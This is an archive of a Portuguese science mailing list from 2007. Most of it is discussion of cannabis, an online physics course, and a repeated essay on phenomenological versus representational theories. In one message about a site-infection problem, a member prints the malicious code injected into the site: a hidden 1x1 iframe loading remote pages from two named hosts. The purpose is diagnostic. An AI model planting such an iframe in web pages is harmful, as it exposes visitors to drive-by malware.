Smith, MS, Yamamoto, Y, Newton, C, Friedman, H, Klein, T 1997 -
Psychoactive cannabinoids increase mortality and alter acute phase
cytokine responses in mice sublethally infected with Legionella
pneumophila. Proc Soc Exp Biol Med 214: 69-75

> reflexos, mas vicia menos que o cigarro ou bebida.

De fato o cigarro e o álcool são problemáticos. O q não quer dizer q
seria bom ter *mais um* problema.

> Comparando com os efeitos causados pelo chocolate, temos a cada dia
> um número crescente de obesos que amam a páscoa incondicionalmente
> mesmo sabendo que o chocolate tem pouco nutriente, engorda e vicia.

Crescente qto? Qual o número de viciados em chocolate?

> Ainda hoje as plantações de cacau do mundo empregam muito trabalho
> infantil e não duvido que no Brasil ainda tenha fazendas de cacau
> utilizando-se de trabalho escravo.

É coisa de se combater o trabalho infantil e o escravo.

[]s,

Roberto Takata



SUBJECT: Aulas 3 e 4
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/03/2007 02:52

Olá C-Listeiros,

Já estão publicas as "aulas" 3 e 4 do curso de Física on-line do JC
(aquela tentativa maluca de criar um curso de Física para alunos do
Ensino Médio da Rede Pública).

Grande Takata San já revisou os textos e apontou 200.000 erros de
português (que já foram corrigidos), o que me fez refletir sobre a
necessidade de escrever antes no Word (com o velho e bom corretor
ortográfico) ao invés de escrever direto no Moodle.

Volto a frisar que está aberto o convite aos interessados,
principalmente aqueles que podem me oferecer opiniões e apontar erros,
como o Grande Takata San tem feito. Favor enviar essas sugestões e
opiniões por e-mail em PVT para profjc@gmail.com

O endereço do site é: http://www.profjc.net Clique em "Curso de Física
Online" no menu principal. É preciso fazer a inscrição no curso. O
preço é R$ 500.000,00 mas estou fazendo uma promoção relâmpago que vai
durar o ano todo e que lhe dá 100% de desconto. :)

Abraços,
Prof. JC




SUBJECT: Aproveitando a oportunidade...
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/03/2007 03:00

Aproveitando a oportunidade de explorar vocês, alguém conhece algum
site em português que tenha bibliografias "boas" sobre os principais
filósofos e personagens importantes da Física?

Eu não pretendo reescrever essas biografias, mas gostaria de fornecer
links para elas no material que estou escrevendo. A Wikipédia, por
exemplo, tem muitas, mas nem todas são "boas" (tem bobagens de montão
escritas lá).

Se alguém souber de algumas fontes, please, enviem para mim (pode ser
em PVT ou aqui pela lista - o Brudna deixa, né Brudna?).

Abraços,
JC




SUBJECT: Re: Aproveitando a oportunidade...
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/03/2007 03:16

Não sei se é bom (é meio bagunçado).

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
> Aproveitando a oportunidade de explorar vocês, alguém conhece algum
> site em português que tenha bibliografias "boas" sobre os principais
> filósofos e personagens importantes da Física?
>
> Eu não pretendo reescrever essas biografias, mas gostaria de fornecer
> links para elas no material que estou escrevendo. A Wikipédia, por
> exemplo, tem muitas, mas nem todas são "boas" (tem bobagens de montão
> escritas lá).
>
> Se alguém souber de algumas fontes, please, enviem para mim (pode ser
> em PVT ou aqui pela lista - o Brudna deixa, né Brudna?).
>
> Abraços,
> JC
>




SUBJECT: Re: Sobre o Método Cientifico
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/03/2007 05:06

----- Original Message -----
From: "Chicao Valadares"
Sent: Monday, March 12, 2007 12:15 PM
Subject: Re: [ciencialist] Re: Sobre o Método Cientifico


> Se voce puder me dizer algo sobre FENOMENOLOGIA também seria bom.

O assunto é bastante extenso e, em sua completude, é estudado em
filosofia. Sob esse aspecto generalizante o tema está bem tratado em
http://www.cobra.pages.nom.br/ftm-fenomeno.html . Vou tecer apenas
algumas considerações sobre um aspecto importante sob o ponto de
vista da filosofia da ciência e relacionado à teorização em ciências
naturais (estou fazendo adaptações em um texto que escrevi há muito
tempo --> 1987).

Classicamente existem dois tipos de teorias: 1) fenomenológicas e 2)
representacionais. Os termos não são isentos de críticas, havendo
quem prefira as denominações "teorias de caixa negra" e "teorias de
caixa translúcida", respectivamente. Por vezes confunde-se
fenomenologismo com empirismo e representacionismo com realismo. Há
de se notar, não obstante, que o realismo se utiliza dos dois tipos
de modelos teóricos e, também, que existem teorias que se apoiam no
modelo fenomenológico e, no entanto, estão totalmente à margem da
filosofia empirista.

As teorias fenomenológicas, ou de caixa negra, estudam o
comportamento de um sistema sem, contudo, se preocupar com o
mecanismo interno. São também, e por este motivo, chamadas teorias
behavioristas. O modelo behaviorista satisfaz a filosofia empirista,
pois permite a condensação de grande número de dados experimentais e
a predição da evolução do sistema, sem ultrapassar em demasia o
observável. As teorias fenomenológicas são teorias de baixo risco e,
portanto, dificilmente derrubadas; contudo são menos férteis que as
teorias representacionais.

As teorias representacionais não só aceitam a hipótese metafísica da
existência de um mecanismo interno, mas procuram explicar a causa
imediata dos fenômenos observados; utilizam para isto a imaginação
e/ou a lógica transcendental. Através de modelos teóricos imaginários
prevê fatos novos, e estes últimos devem ser corroboráveis
experimentalmente. Adota como critério de prova a concordância das
conclusões com as leis conhecidas, não sem, é claro, desconfiar
dessas leis.

O cientista realista, como disse, trabalha com os dois tipos de
teorias e, para exemplificar essa conduta vou citar um pensamento
realista de Mário Bunge: "O fim último da teorização científica é
edificar teorias representacionais que abarquem e expliquem as
correspondentes teorias fenomenológicas."

O paradigma das teorias fenomenológicas é a termodinâmica clássica,
talvez a mais bela, a mais completa e a mais profunda (ainda que
fenomenológica) teoria científica. E por mais que se pretenda torná-
la obsoleta, vem resistindo ao passar do tempo e alicerçando as
teorias representacionais que pretendem substituí-la. É, sem sombra
de dúvidas, uma teoria que se adapta à doutrina empirista, mas não
tenham dúvidas de que é muito mais fácil justificar o empirismo pelos
sucessos da termodinâmica do que o inverso.

As teorias não são, em sua grande maioria, nem puramente
fenomenológicas, nem puramente representacionais. Utilizam-se de
ambas as metodologias, situando-se num caminho intermediário entre as
primeiras e as segundas. Em geral iniciam-se como uma teoria de caixa
negra mas, cedo ou tarde, evoluem --às custas de raciocínios que
interrelacionam as leis experimentais observadas-- para uma teoria de
caixa cada vez mais transparente.

Exemplos:

. Teoria Fenomenológica Teorias Representacional
. Cinemática Dinâmica
. Óptica Geométrica Óptica Física
. Termodinâmica Mecânica Estatística
. Matriz de Espalhamento Teoria Quântica Hamiltoniana

Note-se que os exemplos não pertencem a uma classificação absoluta.
Ninguém vai estudar, por exemplo, aspectos de óptica geométrica sem
relacionar os achados com os conhecimentos sabidamente existentes no
âmbito da óptica física. Por outro lado, a evolução da ciência não é
orientada exclusivamente no sentido de caixa negra para translúcida.
O inverso também é comum, embora também signifique um progresso
representacional. À medida em que os mecanismos intrínsecos a uma
caixa negra primitiva vão se tornando translúcidos, nota-se a
existência de regiões nebulosas que comportam uma análise
fenomenológica. Criam-se assim caixas negras no interior de uma caixa
translúcida, ou uma teoria fenomenológica no seio de uma
representaciona, e a primeira colabora para o aprofundamento da
segunda.

Tomemos, como exemplo, a óptica física e, em particular, a difração
ou inflexão da luz. Numa abordagem inicial podemos construir uma
teoria de caixa negra. O interesse de momento focaliza-se unicamente
no que há de observável. E o que há de concreto é um feixe paralelo
de luz, antes de um orifício ou da borda de um objeto, e um feixe
divergente após a região responsável pelo que denominamos difração ou
inflexão dos raios. Todas as leis decorrentes dessas observações
incorporam-se numa teoria fenomenológica. Qualquer tentativa de
explicar o porquê da difração ou inflexão, nos leva a uma estrada com
duas pistas: ou melhoramos as condições de observação, refinando a
técnica utilizada, ou partimos para o representacionismo, tentando
explicar o não observável através do que se vê. Em geral utiliza-se
ambas as vias, e o que se tem como resultado no caso são as teorias
corpusculares e ondulatórias que, evidentemente, são
representacionais.

Bem, o texto original é bem mais extenso, mas procurei resumir o que
há de mais fundamental no assunto.

> A não existência de um método completo seria um bom argumento para
os religiosos????

Talvez sim, mas apenas para àqueles que chamo "religiosos de pouca
fé". Você encontrará mais sobre o que penso a respeito em
http://ecientificocultural.com/ECC2/Dialogos/cmee.htm [Ciência,
materialismo e espiritualismo].

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/03/2007 06:27

Alberto,

Magnífico texto. Apropriado enfoque dessa questão. Texto original, e mais este resumo, arquivados, para futuras referências.

Sds,
Victor.



----- Original Message -----
From: Alberto Mesquita Filho
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, March 14, 2007 5:06 AM
Subject: [ciencialist] Re: Sobre o Método Cientifico


----- Original Message -----
From: "Chicao Valadares"
Sent: Monday, March 12, 2007 12:15 PM
Subject: Re: [ciencialist] Re: Sobre o Método Cientifico

> Se voce puder me dizer algo sobre FENOMENOLOGIA também seria bom.

O assunto é bastante extenso e, em sua completude, é estudado em
filosofia. Sob esse aspecto generalizante o tema está bem tratado em
http://www.cobra.pages.nom.br/ftm-fenomeno.html . Vou tecer apenas
algumas considerações sobre um aspecto importante sob o ponto de
vista da filosofia da ciência e relacionado à teorização em ciências
naturais (estou fazendo adaptações em um texto que escrevi há muito
tempo --> 1987).

Classicamente existem dois tipos de teorias: 1) fenomenológicas e 2)
representacionais. Os termos não são isentos de críticas, havendo
quem prefira as denominações "teorias de caixa negra" e "teorias de
caixa translúcida", respectivamente. Por vezes confunde-se
fenomenologismo com empirismo e representacionismo com realismo. Há
de se notar, não obstante, que o realismo se utiliza dos dois tipos
de modelos teóricos e, também, que existem teorias que se apoiam no
modelo fenomenológico e, no entanto, estão totalmente à margem da
filosofia empirista.

As teorias fenomenológicas, ou de caixa negra, estudam o
comportamento de um sistema sem, contudo, se preocupar com o
mecanismo interno. São também, e por este motivo, chamadas teorias
behavioristas. O modelo behaviorista satisfaz a filosofia empirista,
pois permite a condensação de grande número de dados experimentais e
a predição da evolução do sistema, sem ultrapassar em demasia o
observável. As teorias fenomenológicas são teorias de baixo risco e,
portanto, dificilmente derrubadas; contudo são menos férteis que as
teorias representacionais.

As teorias representacionais não só aceitam a hipótese metafísica da
existência de um mecanismo interno, mas procuram explicar a causa
imediata dos fenômenos observados; utilizam para isto a imaginação
e/ou a lógica transcendental. Através de modelos teóricos imaginários
prevê fatos novos, e estes últimos devem ser corroboráveis
experimentalmente. Adota como critério de prova a concordância das
conclusões com as leis conhecidas, não sem, é claro, desconfiar
dessas leis.

O cientista realista, como disse, trabalha com os dois tipos de
teorias e, para exemplificar essa conduta vou citar um pensamento
realista de Mário Bunge: "O fim último da teorização científica é
edificar teorias representacionais que abarquem e expliquem as
correspondentes teorias fenomenológicas."

O paradigma das teorias fenomenológicas é a termodinâmica clássica,
talvez a mais bela, a mais completa e a mais profunda (ainda que
fenomenológica) teoria científica. E por mais que se pretenda torná-
la obsoleta, vem resistindo ao passar do tempo e alicerçando as
teorias representacionais que pretendem substituí-la. É, sem sombra
de dúvidas, uma teoria que se adapta à doutrina empirista, mas não
tenham dúvidas de que é muito mais fácil justificar o empirismo pelos
sucessos da termodinâmica do que o inverso.

As teorias não são, em sua grande maioria, nem puramente
fenomenológicas, nem puramente representacionais. Utilizam-se de
ambas as metodologias, situando-se num caminho intermediário entre as
primeiras e as segundas. Em geral iniciam-se como uma teoria de caixa
negra mas, cedo ou tarde, evoluem --às custas de raciocínios que
interrelacionam as leis experimentais observadas-- para uma teoria de
caixa cada vez mais transparente.

Exemplos:

. Teoria Fenomenológica Teorias Representacional
. Cinemática Dinâmica
. Óptica Geométrica Óptica Física
. Termodinâmica Mecânica Estatística
. Matriz de Espalhamento Teoria Quântica Hamiltoniana

Note-se que os exemplos não pertencem a uma classificação absoluta.
Ninguém vai estudar, por exemplo, aspectos de óptica geométrica sem
relacionar os achados com os conhecimentos sabidamente existentes no
âmbito da óptica física. Por outro lado, a evolução da ciência não é
orientada exclusivamente no sentido de caixa negra para translúcida.
O inverso também é comum, embora também signifique um progresso
representacional. À medida em que os mecanismos intrínsecos a uma
caixa negra primitiva vão se tornando translúcidos, nota-se a
existência de regiões nebulosas que comportam uma análise
fenomenológica. Criam-se assim caixas negras no interior de uma caixa
translúcida, ou uma teoria fenomenológica no seio de uma
representaciona, e a primeira colabora para o aprofundamento da
segunda.

Tomemos, como exemplo, a óptica física e, em particular, a difração
ou inflexão da luz. Numa abordagem inicial podemos construir uma
teoria de caixa negra. O interesse de momento focaliza-se unicamente
no que há de observável. E o que há de concreto é um feixe paralelo
de luz, antes de um orifício ou da borda de um objeto, e um feixe
divergente após a região responsável pelo que denominamos difração ou
inflexão dos raios. Todas as leis decorrentes dessas observações
incorporam-se numa teoria fenomenológica. Qualquer tentativa de
explicar o porquê da difração ou inflexão, nos leva a uma estrada com
duas pistas: ou melhoramos as condições de observação, refinando a
técnica utilizada, ou partimos para o representacionismo, tentando
explicar o não observável através do que se vê. Em geral utiliza-se
ambas as vias, e o que se tem como resultado no caso são as teorias
corpusculares e ondulatórias que, evidentemente, são
representacionais.

Bem, o texto original é bem mais extenso, mas procurei resumir o que
há de mais fundamental no assunto.

> A não existência de um método completo seria um bom argumento para
os religiosos????

Talvez sim, mas apenas para àqueles que chamo "religiosos de pouca
fé". Você encontrará mais sobre o que penso a respeito em
http://ecientificocultural.com/ECC2/Dialogos/cmee.htm [Ciência,
materialismo e espiritualismo].

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Novamente Virus no Feira de Ciencias
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/03/2007 14:25

Victor, nem precisa disso. Muitas dessas falhas
existem porque o pessoal não quer aumentar os custos
de desenvolvimento investindo em processos de
segurança. E quando muito, eles designam gente que não
é da área para mexer com isso. E esse é o tipo de
serviço que somente especialistas deveriam assumir.
Já tive a oportunidade de presenciar "remendos"
horríveis em códigos apenas para o produto ficar
pronto no prazo. Outra coisa ruim são os servidores
mal configurados pelos administradores inexperientes.
Enfim, existem uma gama de brechas que poderiam ser
minimizadas se não houvesse tanta displicência.


--- Victor <jvoneto@uol.com.br> escreveu:

> Houve uns tempos em que me revelei muito maldoso.
> Imaginei que para se vender anti-vírus, é preciso
> que o vírus exista. Para existir é preciso que
> alguém os produza. E quem estaria interessado em
> produzí-los, e em tão grande número, e tão perfeitos
> enquanto softwares?
> Só estou perguntando, só estou perguntando! A
> resposta é óbvia demais, para não ser verdadeira!
>
> Sds,
> Victor.
>
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] Re: Novamente Virus no Feira de Ciencias
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/03/2007 14:39

Homero, essas recomendaçoes já foram repassadas por
mim. Não sei se ele as seguiu.
Quanto ao vírus, o código é o mesmo só muda o endereço
donde ele baixa.
O código do anterior era esse:

<div style="visibility:hidden"> <iframe
src="http://todo2pm.com/ment" width=1
height=1></iframe></div>

O de agora só muda o endereço=>
src ="http://pirads.net/ment"

Abraços





--- oraculo333 <oraculo@atibaia.com.br> escreveu:

> Olá Leo
>
> Há diversas possibilidades para o que está
> acontecendo, e é preciso
> mais dados para uma conclusão segura. Seu dominio
> está registrado
> neste servidores:
>
> cvx.convex.com.br
> cvxnt2.convex.com.br
>
> Quem é o responsável por eles? Não parecem ser um
> serviço de dominio
> padrão, comercial. Como você atualiza os arquivos,
> por FPT, pelo Front
> Page, Dreamweaver ou outro sistema? Ou por página de
> controle em HTML
> na Web?
>
> O que está ocorrendo pode ter como causa uma falha
> de segurança no
> servidor, o que permite que um invasor possa baixar
> páginas alteradas
> em seu diretório. Se for isso, tem de entrar em
> contato com o
> administrador do servidor e pedir que ele reveja
> seus processos de
> segurança, mude a senha de todo mundo (em especial a
> sua) e instale as
> atualizações do servidor ISS ou Apache (se usar
> Linux).
>
> Ou pode ser que tenham descoberto sua senha de
> acesso a atualização, e
> estejam usando um cliente de FTP para baixar os
> arquivos infectados.
> Nesse caso basta mudar sua senha (se tiver acesso)
> ou pedir que o
> administrador mude para você (se não tiver acesso).
>
> Uma terceira opção seria seu computador, e não o
> servidor ou as
> páginas, estar infectado. Um virus poderia inserir
> os códigos
> diretamente nas páginas através de seu navegador.
> Mas, se fosse esse o
> caso, apenas sua máquina veria os códigos
> maliciosos, e não os outros
> usuários do site.
>
> Por favor, me dê mais dados para que eu possa
> descobrir alguma coisa
> sobre seu problema.
>
> Um abraço.
>
> Homero
> /
>
>


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O que há é pouca gente para dar por isso... "
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SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/03/2007 14:49

Show de bola Alberto. Eu notei esse aspecto de "caixa
negra" da fenomenologia estudando ontem. Mas suas
informações enriqueceram mais ainda meu entendimento.
Vou ler todos os textos de sua autoria quando aparecer
um tempinho.

Abraços.

PS: Muito surpreendente saber que o paradigma
Popperiano não é o único.


--- Victor <jvoneto@uol.com.br> escreveu:

> Alberto,
>
> Magnífico texto. Apropriado enfoque dessa questão.
> Texto original, e mais este resumo, arquivados, para
> futuras referências.
>
> Sds,
> Victor.
>
>
>
> ----- Original Message -----
> From: Alberto Mesquita Filho
> To: ciencialist@yahoogrupos.com.br
> Sent: Wednesday, March 14, 2007 5:06 AM
> Subject: [ciencialist] Re: Sobre o Método
> Cientifico
>
>
> ----- Original Message -----
> From: "Chicao Valadares"
> Sent: Monday, March 12, 2007 12:15 PM
> Subject: Re: [ciencialist] Re: Sobre o Método
> Cientifico
>
> > Se voce puder me dizer algo sobre FENOMENOLOGIA
> também seria bom.
>
> O assunto é bastante extenso e, em sua completude,
> é estudado em
> filosofia. Sob esse aspecto generalizante o tema
> está bem tratado em
> http://www.cobra.pages.nom.br/ftm-fenomeno.html .
> Vou tecer apenas
> algumas considerações sobre um aspecto importante
> sob o ponto de
> vista da filosofia da ciência e relacionado à
> teorização em ciências
> naturais (estou fazendo adaptações em um texto que
> escrevi há muito
> tempo --> 1987).
>
> Classicamente existem dois tipos de teorias: 1)
> fenomenológicas e 2)
> representacionais. Os termos não são isentos de
> críticas, havendo
> quem prefira as denominações "teorias de caixa
> negra" e "teorias de
> caixa translúcida", respectivamente. Por vezes
> confunde-se
> fenomenologismo com empirismo e representacionismo
> com realismo. Há
> de se notar, não obstante, que o realismo se
> utiliza dos dois tipos
> de modelos teóricos e, também, que existem teorias
> que se apoiam no
> modelo fenomenológico e, no entanto, estão
> totalmente à margem da
> filosofia empirista.
>
> As teorias fenomenológicas, ou de caixa negra,
> estudam o
> comportamento de um sistema sem, contudo, se
> preocupar com o
> mecanismo interno. São também, e por este motivo,
> chamadas teorias
> behavioristas. O modelo behaviorista satisfaz a
> filosofia empirista,
> pois permite a condensação de grande número de
> dados experimentais e
> a predição da evolução do sistema, sem ultrapassar
> em demasia o
> observável. As teorias fenomenológicas são teorias
> de baixo risco e,
> portanto, dificilmente derrubadas; contudo são
> menos férteis que as
> teorias representacionais.
>
> As teorias representacionais não só aceitam a
> hipótese metafísica da
> existência de um mecanismo interno, mas procuram
> explicar a causa
> imediata dos fenômenos observados; utilizam para
> isto a imaginação
> e/ou a lógica transcendental. Através de modelos
> teóricos imaginários
> prevê fatos novos, e estes últimos devem ser
> corroboráveis
> experimentalmente. Adota como critério de prova a
> concordância das
> conclusões com as leis conhecidas, não sem, é
> claro, desconfiar
> dessas leis.
>
> O cientista realista, como disse, trabalha com os
> dois tipos de
> teorias e, para exemplificar essa conduta vou
> citar um pensamento
> realista de Mário Bunge: "O fim último da
> teorização científica é
> edificar teorias representacionais que abarquem e
> expliquem as
> correspondentes teorias fenomenológicas."
>
> O paradigma das teorias fenomenológicas é a
> termodinâmica clássica,
> talvez a mais bela, a mais completa e a mais
> profunda (ainda que
> fenomenológica) teoria científica. E por mais que
> se pretenda torná-
> la obsoleta, vem resistindo ao passar do tempo e
> alicerçando as
> teorias representacionais que pretendem
> substituí-la. É, sem sombra
> de dúvidas, uma teoria que se adapta à doutrina
> empirista, mas não
> tenham dúvidas de que é muito mais fácil
> justificar o empirismo pelos
> sucessos da termodinâmica do que o inverso.
>
> As teorias não são, em sua grande maioria, nem
> puramente
> fenomenológicas, nem puramente representacionais.
> Utilizam-se de
> ambas as metodologias, situando-se num caminho
> intermediário entre as
> primeiras e as segundas. Em geral iniciam-se como
> uma teoria de caixa
> negra mas, cedo ou tarde, evoluem --às custas de
> raciocínios que
> interrelacionam as leis experimentais observadas--
> para uma teoria de
> caixa cada vez mais transparente.
>
> Exemplos:
>
> . Teoria Fenomenológica Teorias Representacional
> . Cinemática Dinâmica
> . Óptica Geométrica Óptica Física
> . Termodinâmica Mecânica Estatística
> . Matriz de Espalhamento Teoria Quântica
> Hamiltoniana
>
> Note-se que os exemplos não pertencem a uma
> classificação absoluta.
> Ninguém vai estudar, por exemplo, aspectos de
> óptica geométrica sem
> relacionar os achados com os conhecimentos
> sabidamente existentes no
> âmbito da óptica física. Por outro lado, a
> evolução da ciência não é
> orientada exclusivamente no sentido de caixa negra
> para translúcida.
> O inverso também é comum, embora também signifique
> um progresso
> representacional. À medida em que os mecanismos
> intrínsecos a uma
> caixa negra primitiva vão se tornando
> translúcidos, nota-se a
> existência de regiões nebulosas que comportam uma
> análise
> fenomenológica. Criam-se assim caixas negras no
> interior de uma caixa
> translúcida, ou uma teoria fenomenológica no seio
> de uma
> representaciona, e a primeira colabora para o
> aprofundamento da
> segunda.
>
> Tomemos, como exemplo, a óptica física e, em
> particular, a difração
> ou inflexão da luz. Numa abordagem inicial podemos
> construir uma
> teoria de caixa negra. O interesse de momento
> focaliza-se unicamente
> no que há de observável. E o que há de concreto é
> um feixe paralelo
> de luz, antes de um orifício ou da borda de um
> objeto, e um feixe
> divergente após a região responsável pelo que
> denominamos difração ou
> inflexão dos raios. Todas as leis decorrentes
> dessas observações
> incorporam-se numa teoria fenomenológica. Qualquer
> tentativa de
> explicar o porquê da difração ou inflexão, nos
> leva a uma estrada com
> duas pistas: ou melhoramos as condições de
> observação, refinando a
> técnica utilizada, ou partimos para o
> representacionismo, tentando
> explicar o não observável através do que se vê. Em
> geral utiliza-se
> ambas as vias, e o que se tem como resultado no
> caso são as teorias
> corpusculares e ondulatórias que, evidentemente,
> são
> representacionais.
>
> Bem, o texto original é bem mais extenso, mas
> procurei resumir o que
>
=== message truncated ===


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SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/03/2007 16:15

Que estranho! Minhas idéias básicas sobre o Método, o que dele se constrói e o que realmente faz a natureza, rolam bem de perto com a excelente exposição do Alberto. E já tive oportunidade de escrever sobre essas coisas aqui no Clist.
Até recordo uma frase: "As águas do rio fazem o que fazem; todo o restante, correr, escoar, deslocar, velocidade, densidade, aceleração etc. etc. são produtos da mente humana, são modelos, para os quais as águas não dão a mínima satisfação. Todavia, os conceitos e teorias montados pela mente humana, os modelos, devem funcionar ... pois eles podem prever o que as águas farão!" ... ou algo assim.
Mas, não conhecia essas terminologias de caixas negras e translúcidas. Tornaram as idéias bem mais claras.

Apreciaria que vc fizesse uma exemplificação do seu texto no seguinte tema, vejamos:
reflexão e refração da luz. "Por que os ângulos etc. são iguais?" "Por que a lei dos senos deve ser obedecida?"

Penso assim: é da natureza da luz que a reflexão e a refração se dê do jeito que são. Leis empíricas, baseadas na geometria euclidiana, constatam que ângulo i = ângulo r. Isso obviamente "explica o fenômeno, mas não o justifica"; o princípio de Fermat é bom porque, ao fim e ao cabo, tb permite concluir que "ângulo i = ângulo r". Qqer outra teoria será boa se, tb, chegar ao "ângulo i = ângulo r". Mas ... porque "ângulo i = ângulo r", não está ao alcance da Ciência ... AINDA!

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Alberto Mesquita Filho" <albmesq@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 14 de março de 2007 05:06
Assunto: [ciencialist] Re: Sobre o Método Cientifico


----- Original Message -----
From: "Chicao Valadares"
Sent: Monday, March 12, 2007 12:15 PM
Subject: Re: [ciencialist] Re: Sobre o Método Cientifico


> Se voce puder me dizer algo sobre FENOMENOLOGIA também seria bom.

O assunto é bastante extenso e, em sua completude, é estudado em
filosofia. Sob esse aspecto generalizante o tema está bem tratado em
http://www.cobra.pages.nom.br/ftm-fenomeno.html . Vou tecer apenas
algumas considerações sobre um aspecto importante sob o ponto de
vista da filosofia da ciência e relacionado à teorização em ciências
naturais (estou fazendo adaptações em um texto que escrevi há muito
tempo --> 1987).

Classicamente existem dois tipos de teorias: 1) fenomenológicas e 2)
representacionais. Os termos não são isentos de críticas, havendo
quem prefira as denominações "teorias de caixa negra" e "teorias de
caixa translúcida", respectivamente. Por vezes confunde-se
fenomenologismo com empirismo e representacionismo com realismo. Há
de se notar, não obstante, que o realismo se utiliza dos dois tipos
de modelos teóricos e, também, que existem teorias que se apoiam no
modelo fenomenológico e, no entanto, estão totalmente à margem da
filosofia empirista.

As teorias fenomenológicas, ou de caixa negra, estudam o
comportamento de um sistema sem, contudo, se preocupar com o
mecanismo interno. São também, e por este motivo, chamadas teorias
behavioristas. O modelo behaviorista satisfaz a filosofia empirista,
pois permite a condensação de grande número de dados experimentais e
a predição da evolução do sistema, sem ultrapassar em demasia o
observável. As teorias fenomenológicas são teorias de baixo risco e,
portanto, dificilmente derrubadas; contudo são menos férteis que as
teorias representacionais.

As teorias representacionais não só aceitam a hipótese metafísica da
existência de um mecanismo interno, mas procuram explicar a causa
imediata dos fenômenos observados; utilizam para isto a imaginação
e/ou a lógica transcendental. Através de modelos teóricos imaginários
prevê fatos novos, e estes últimos devem ser corroboráveis
experimentalmente. Adota como critério de prova a concordância das
conclusões com as leis conhecidas, não sem, é claro, desconfiar
dessas leis.

O cientista realista, como disse, trabalha com os dois tipos de
teorias e, para exemplificar essa conduta vou citar um pensamento
realista de Mário Bunge: "O fim último da teorização científica é
edificar teorias representacionais que abarquem e expliquem as
correspondentes teorias fenomenológicas."

O paradigma das teorias fenomenológicas é a termodinâmica clássica,
talvez a mais bela, a mais completa e a mais profunda (ainda que
fenomenológica) teoria científica. E por mais que se pretenda torná-
la obsoleta, vem resistindo ao passar do tempo e alicerçando as
teorias representacionais que pretendem substituí-la. É, sem sombra
de dúvidas, uma teoria que se adapta à doutrina empirista, mas não
tenham dúvidas de que é muito mais fácil justificar o empirismo pelos
sucessos da termodinâmica do que o inverso.

As teorias não são, em sua grande maioria, nem puramente
fenomenológicas, nem puramente representacionais. Utilizam-se de
ambas as metodologias, situando-se num caminho intermediário entre as
primeiras e as segundas. Em geral iniciam-se como uma teoria de caixa
negra mas, cedo ou tarde, evoluem --às custas de raciocínios que
interrelacionam as leis experimentais observadas-- para uma teoria de
caixa cada vez mais transparente.

Exemplos:

. Teoria Fenomenológica Teorias Representacional
. Cinemática Dinâmica
. Óptica Geométrica Óptica Física
. Termodinâmica Mecânica Estatística
. Matriz de Espalhamento Teoria Quântica Hamiltoniana

Note-se que os exemplos não pertencem a uma classificação absoluta.
Ninguém vai estudar, por exemplo, aspectos de óptica geométrica sem
relacionar os achados com os conhecimentos sabidamente existentes no
âmbito da óptica física. Por outro lado, a evolução da ciência não é
orientada exclusivamente no sentido de caixa negra para translúcida.
O inverso também é comum, embora também signifique um progresso
representacional. À medida em que os mecanismos intrínsecos a uma
caixa negra primitiva vão se tornando translúcidos, nota-se a
existência de regiões nebulosas que comportam uma análise
fenomenológica. Criam-se assim caixas negras no interior de uma caixa
translúcida, ou uma teoria fenomenológica no seio de uma
representaciona, e a primeira colabora para o aprofundamento da
segunda.

Tomemos, como exemplo, a óptica física e, em particular, a difração
ou inflexão da luz. Numa abordagem inicial podemos construir uma
teoria de caixa negra. O interesse de momento focaliza-se unicamente
no que há de observável. E o que há de concreto é um feixe paralelo
de luz, antes de um orifício ou da borda de um objeto, e um feixe
divergente após a região responsável pelo que denominamos difração ou
inflexão dos raios. Todas as leis decorrentes dessas observações
incorporam-se numa teoria fenomenológica. Qualquer tentativa de
explicar o porquê da difração ou inflexão, nos leva a uma estrada com
duas pistas: ou melhoramos as condições de observação, refinando a
técnica utilizada, ou partimos para o representacionismo, tentando
explicar o não observável através do que se vê. Em geral utiliza-se
ambas as vias, e o que se tem como resultado no caso são as teorias
corpusculares e ondulatórias que, evidentemente, são
representacionais.

Bem, o texto original é bem mais extenso, mas procurei resumir o que
há de mais fundamental no assunto.

> A não existência de um método completo seria um bom argumento para
os religiosos????

Talvez sim, mas apenas para àqueles que chamo "religiosos de pouca
fé". Você encontrará mais sobre o que penso a respeito em
http://ecientificocultural.com/ECC2/Dialogos/cmee.htm [Ciência,
materialismo e espiritualismo].

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



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SUBJECT: "Ad Hoc" na cosmologia?
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
